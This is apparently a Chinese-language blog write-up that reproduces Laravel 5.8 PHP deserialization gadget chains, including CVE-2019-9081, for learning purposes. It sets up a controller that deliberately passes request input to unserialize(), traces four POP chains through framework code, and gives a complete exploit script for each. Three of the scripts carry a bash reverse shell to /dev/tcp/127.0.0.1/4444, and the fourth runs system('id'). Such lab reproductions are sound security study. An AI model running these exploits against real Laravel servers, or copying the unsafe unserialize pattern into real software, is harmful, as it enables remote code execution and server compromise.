1、下载laravel5.8版本的框架并在本地启动服务
1
2
3
4
|
composer create-project --prefer-dist laravel/laravel laravel58 5.8.*
cd laravel58
composer install
php artisan serve --host=0.0.0.0
|
问题
PS:怎么到我这里问题这么多。。。
Q:安装框架时没有出现vendor
目录导致无法启动服务
A:进入目录执行composer install
命令,如果还是没有生成vendor目录就执行composer install --ignore-platform-reqs
注意:这种方法只适用于对组件版本没有要求的环境搭建,若有要求,还是要根据报错信息下载对应php扩展。
Q:.env
文件中APP_KEY为空
A:命令php artisan key:generate
生成APP_KEY
2、在app/Http/Controllers
新建文件IndexController.php
:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class IndexController extends Controller
{
public function index(Request $request){
$payload=$request->input("payload");
@unserialize($payload);
}
}
|
3、routes/web.php
添加路由规则
POST传参会要求传递token,否则会出现419错误
1
|
Route::get('/', "IndexController@index");
|
入口类:vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast
RCE调用类:vendor/fzaninotto/faker/src/Faker/Generator.php/Generator
老规矩,从__destruct
入手
PendingBroadcast::__destruct()
1
2
3
4
|
public function __destruct()
{
$this->events->dispatch($this->event);
}
|
这里的event和events均可控,可以想到的利用方法有:控制events
触发__call
、__callStatic
方法或者控制event
触发__toString
方法,口嗨完毕,继续抄文章[]~( ̄▽ ̄)~*
寻找可利用方法:同名方法dispatch或魔术方法__call
、__callStatic
,找到Faker\Generator
,
Faker\Generator::__call
1
2
3
4
|
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
|
然后调用当前类的format方法
Faker\Generator::format
1
2
3
4
|
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
|
看到敏感函数了,但是这里回调函数经过了getFormatter函数的处理,查看一下定义
Faker\Generator::getFormatter
1
2
3
4
5
6
7
|
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
...
}
|
这里判断了一下$this->formatters[$formatter]
是否存在,但是由于该类的成员变量全部可控,所以这个判断很轻易地就可以绕过。
坑:该类存在__wakeup
方法,所以在我们调用unserialize时会触发,恰巧wakeup方法是清空我们要利用的formatters数组,所以我们需要通过"祖传"的修改变量个数来绕过它。
注意:当我们通过修改变量个数来绕过wakeup函数时,代码中events和event变量的定义顺序就需要修改了,我们需要先定义event,否则会因为变量个数增多导致event值被吞掉。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $event;
protected $events;
public function __construct($events, $event){
$this->event = $event;
$this->events = $events;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters){
$this->formatters = $formatters;
}
}
}
namespace{
$generator = new Faker\Generator(array("dispatch"=>"system"));
$o = new Illuminate\Broadcasting\PendingBroadcast($generator, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'");
$s = str_replace('"Faker\\Generator":1','"Faker\\Generator":2',serialize($o));
echo urlencode($s);
}
|
入口类:vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast
RCE调用类:vendor/laravel/framework/src/Illuminate/Validation/Validator.php/Validator
还是从PendingBroadcast::__destruct()
入手,还是找魔术方法__call
PendingBroadcast::__destruct()
1
2
3
4
|
public function __destruct()
{
$this->events->dispatch($this->event);
}
|
Illuminate\Validation\Validator::__call
1
2
3
4
5
6
7
8
9
10
11
12
|
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
throw new BadMethodCallException(sprintf(
'Method %s::%s does not exist.', static::class, $method
));
}
|
extensions、rule均可控(rule值恒为空)(Str::snake
用法参考文章https://laravel.com/docs/8.x/helpers#method-snake-case)通过条件判断不是很困难,接着跟进callExtension函数
Illuminate\Validation\Validator::callExtension
1
2
3
4
5
6
7
8
9
10
|
protected function callExtension($rule, $parameters)
{
$callback = $this->extensions[$rule];
if (is_callable($callback)) {
return call_user_func_array($callback, $parameters);
} elseif (is_string($callback)) {
return $this->callClassBasedExtension($callback, $parameters);
}
}
|
这里更是没有什么过滤,干就van了
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event){
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Validation{
class Validator{
public $extensions = [];
public function __construct($extensions){
$this->extensions = $extensions;
}
}
}
namespace{
$validator = new Illuminate\Validation\Validator(array("" => "system"));
$o = new Illuminate\Broadcasting\PendingBroadcast($validator, "bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'");
echo urlencode(serialize($o));
}
|
入口类:vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast
RCE调用类:vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php/Dispatcher
又双叒叕是从PendingBroadcast::__destruct()
入手,这条链子是通过寻找同名方法dispatch实现RCE
PendingBroadcast::__destruct()
1
2
3
4
|
public function __destruct()
{
$this->events->dispatch($this->event);
}
|
参数均可控,接下来找同名方法,找到Illuminate\Bus\Dispatcher
Illuminate\Bus\Dispatcher::dispatch
1
2
3
4
5
6
7
8
|
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
|
看一下commandShouldBeQueued方法
$this->commandShouldBeQueued($command)
1
2
3
4
|
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
|
可知条件是queueResolver有值且command是接口ShouldQueue的实例,queueResolver值可控,因此有值的要求很简单。众所周知,接口不能实例化,因此我们只能寻找实现了接口的类从而通过实例判断。然后找到了Illuminate\Broadcasting\BroadcastEvent
,经过条件判断后会调用方法dispatchToQueue
Illuminate\Bus\Dispatcher::dispatchToQueue
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}
|
存在敏感函数,由于两个参数都可控,直接就能命令执行(后面的报错就别管了,弹个shell还是可以的
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($events, $event){
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent{
public $connection;
public function __construct($connection){
$this->connection = $connection;
}
}
}
namespace{
$dispatch = new Illuminate\Bus\Dispatcher("system");
$command = new Illuminate\Broadcasting\BroadcastEvent("bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'");
$o = new Illuminate\Broadcasting\PendingBroadcast($dispatch, $command);
echo urlencode(serialize($o));
}
|
入口类:vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php/PendingCommand
RCE调用类:vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php/BoundMethod
5.8的Symfony组件貌似已经无法利用了,就复现下一条,这一条是laravel5.7版本的CVE(CVE-2019-9081),但是5.8仍然适用。
这条链子也是__destruct
开始
Illuminate\Foundation\Testing\PendingCommand::__destruct
1
2
3
4
5
6
7
8
|
public function __destruct()
{
if ($this->hasExecuted) {
return;
}
$this->run();
}
|
我们想要它执行下去,那就要保证条件判断过不了,正好初始值就是false,也省事了。然后跟进run方法
Illuminate\Foundation\Testing\PendingCommand::run
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {$this->expectedExitCode} but received {$exitCode}."
);
}
return $exitCode;
}
|
可以看到一个很特殊的方法$this->app[Kernel::class]->call($this->command, $this->parameters);
,结合该方法的注释Execute the command.
。判断这里应该我们要利用的命令执行的地方,先在exp中定义好这两个成员变量,象征性的赋值system和id。然后跟进mockConsoleOutput方法,看一下该方法的定义,如果没有什么异常退出或修改成员变量值就不需要细致地看了,只要代码能顺利的运行下去就OK了。
Illuminate\Foundation\Testing\PendingCommand::mockConsoleOutput
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
|
结果第一句代码就过不了emmm,查看一下报错信息:
TypeError: Argument 1 passed to Symfony\Component\Console\Input\ArrayInput::__construct() must be of the type array, string given
限制了参数传递的格式问题,这好办,直接$parameters传递格式改为数组即可。这样第一句就成功执行了,接下来再单步跳过,一直到最后一步报错
Error: Call to a member function bind() on null
此时$this->app
是null,自然也就无法调用bind方法了,所以接下来我们要为它赋值,查看成员变量$app的注释
1
2
3
4
5
6
|
/**
* The application instance.
*
* @var \Illuminate\Contracts\Foundation\Application
*/
protected $app;
|
$app变量声明了类型为\Illuminate\Contracts\Foundation\Application
接口,由于接口不能实例化,我们需要实例化实现了该接口的类:Illuminate\Foundation\Application
。当然,真正的原因不是这个,这个说法只是先接受一下这个设定,具体原因后面叙说,然后就可以成功的通过mockConsoleOutput方法。
接下来开始尝试执行$this->app[Kernel::class]->call($this->command, $this->parameters);
,这段代码也不是很好懂,看起来像是调用内核然后调用call方法命令执行,但是对其中的app、kernel等变量细节不是很清除,可以通过拆分结构来理解
1
2
|
$kernel = Kernel::class; // Illuminate\Contracts\Console\Kernel
$ap = $this->app[Kernel::class]; // Illuminate\Foundation\Application
|
跟进$this->app[Kernel::class]
,进入了以下几段代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
// Illuminate\Container\Container
public function offsetGet($key)
{
return $this->make($key);
}
// Illuminate\Foundation\Application
public function make($abstract, array $parameters = [])
{
$abstract = $this->getAlias($abstract);
if ($this->isDeferredService($abstract) && ! isset($this->instances[$abstract])) {
$this->loadDeferredProvider($abstract);
}
return parent::make($abstract, $parameters);
}
|
参考手册可知是Application类在解析Kernel接口并返回Kernel实例,过程应该就相当于实例化,然后一步步跟下去,直到
Illuminate\Container\Container::resolve
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
protected function resolve($abstract, $parameters = [], $raiseEvents = true)
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
...
}
|
由于$abstract值已知是Illuminate\Contracts\Console\Kernel
且$needsContextualBuild为false,Laravel-popchain文章中师傅直接控制$this->instances[$abstract]
,然后return结束$this->app[Kernel::class]
过程向上执行Container类的call方法
而这里思路也差不多,跟进getConcrete函数
Illuminate\Container\Container::getConcrete
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
|
此处$this->bindings[$abstract]
可控,进而返回值也可控,我们可以直接控制bindings二维数组值为Application类然后通过build方法成功实例化Application类,最后也是通过$this->instances[$abstract];
返回调用call方法。由于Application没有call方法,调用call时会向上调用父类Container的方法,这就是使用Application类的原因(悄咪咪地试过,使用Container类也是可以的🤣
Illuminate\Container\Container::call
1
2
3
4
|
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
|
跟进call方法
Illuminate\Container\BoundMethod::call
1
2
3
4
5
6
7
8
9
10
11
12
|
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
|
第一个判断过不了,直接下一步callBoundMethod方法
Illuminate\Container\BoundMethod::callBoundMethod
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
protected static function callBoundMethod($container, $callback, $default)
{
if (! is_array($callback)) {
return $default instanceof Closure ? $default() : $default;
}
// Here we need to turn the array callable into a Class@method string we can use to
// examine the container and see if there are any method bindings for this given
// method. If there are, we can call this method binding callback immediately.
$method = static::normalizeMethod($callback);
if ($container->hasMethodBinding($method)) {
return $container->callMethodBinding($method, $callback[0]);
}
return $default instanceof Closure ? $default() : $default;
}
|
可以看到这个方法的目的就是将数组转化为可满足Class@method
格式的字符串,因此直接跳到下一步,看后面的call_user_func_array
函数,回调函数callback即为我们控制的system,参数是由静态方法getMethodDependencies提供
Illuminate\Container\BoundMethod::getMethodDependencies
1
2
3
4
5
6
7
8
9
10
|
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
|
这一段是通过反射获取callback实例的参数然后将$dependencies和参数列表合并,但是$dependencies就是空值,所以并不影响参数列表,最后就等于执行call_user_func_array("system",array("id"));
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $app;
protected $command;
protected $parameters;
public function __construct($app, $command, $parameters){
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = array();
public function __construct($bindings = []){
$this->bindings["Illuminate\Contracts\Console\Kernel"]["concrete"] = $bindings;
}
}
}
namespace{
$app1 = new Illuminate\Foundation\Application();
$app2 = new Illuminate\Foundation\Application($app1);
$com = new Illuminate\Foundation\Testing\PendingCommand($app2, "system", array("id"));
echo urlencode(serialize($com));
}
|
1、入口函数__destruct
(可能会有从wakeup开始的情况,具体情况具体分析)
2、寻找魔术方法__call
、__callStatic
、__toString
、__invoke
等
3、敏感函数eval
、call_user_func
、call_user_func_array
等
4、有时候直接看报错信息会更快(代码实在看不懂
laravel framework目录结构
Laravel 5.8 RCE POP链汇总分析
laravelv5.7反序列化rce(CVE-2019-9081)
Laravel-popchain